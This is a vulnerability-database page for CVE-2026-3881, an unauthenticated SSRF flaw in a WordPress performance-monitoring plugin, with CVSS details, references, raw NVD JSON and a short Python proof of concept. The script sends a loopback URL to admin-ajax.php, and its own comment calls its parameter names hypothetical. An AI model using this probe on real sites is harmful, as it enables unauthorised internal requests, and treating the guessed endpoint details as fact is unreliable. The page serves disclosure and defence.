CVE-2026-3881

Description

The Performance Monitor WordPress plugin through 1.0.6 does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attacks

CVSS Details

CVSS Score

5.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Performance Monitor <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_ssrf(target_url):
    """
    PoC for CVE-2026-3881
    Testing if the target is vulnerable to SSRF by requesting an internal endpoint.
    """
    # Vulnerable endpoint parameter (hypothetical based on description)
    payload = {
        "url": "http://127.0.0.1:80", 
        "action": "pm_monitor"
    }
    
    try:
        # Sending the request to the vulnerable plugin endpoint
        response = requests.post(target_url, data=payload, timeout=5)
        
        # Check if the response indicates a connection to the internal server
        if response.status_code == 200 and "localhost" in response.text.lower():
            print("[+] The target is vulnerable to SSRF.")
        else:
            print("[-] Could not confirm vulnerability.")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error during request: {e}")

if __name__ == "__main__":
    target = "http://example.com/wp-admin/admin-ajax.php"
    check_ssrf(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3881
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3881
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3881/
[4] VulDB https://vuldb.com/cve/CVE-2026-3881
[5] https://wpscan.com/vulnerability/4b30421e-9848-45ce-87ab-0229d9d7df01/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3881", "sourceIdentifier": "[email protected]", "published": "2026-03-31T07:16:12.283", "lastModified": "2026-04-15T15:05:47.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Performance Monitor WordPress plugin through 1.0.6 does not validate a parameter before making a request to it, which could allow unauthenticated users to perform SSRF attacks"}, {"lang": "es", "value": "El plugin de WordPress Performance Monitor hasta la 1.0.6 no valida un parámetro antes de realizar una solicitud al mismo, lo que podría permitir a usuarios no autenticados realizar ataques SSRF."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://wpscan.com/vulnerability/4b30421e-9848-45ce-87ab-0229d9d7df01/", "source": "[email protected]"}]}}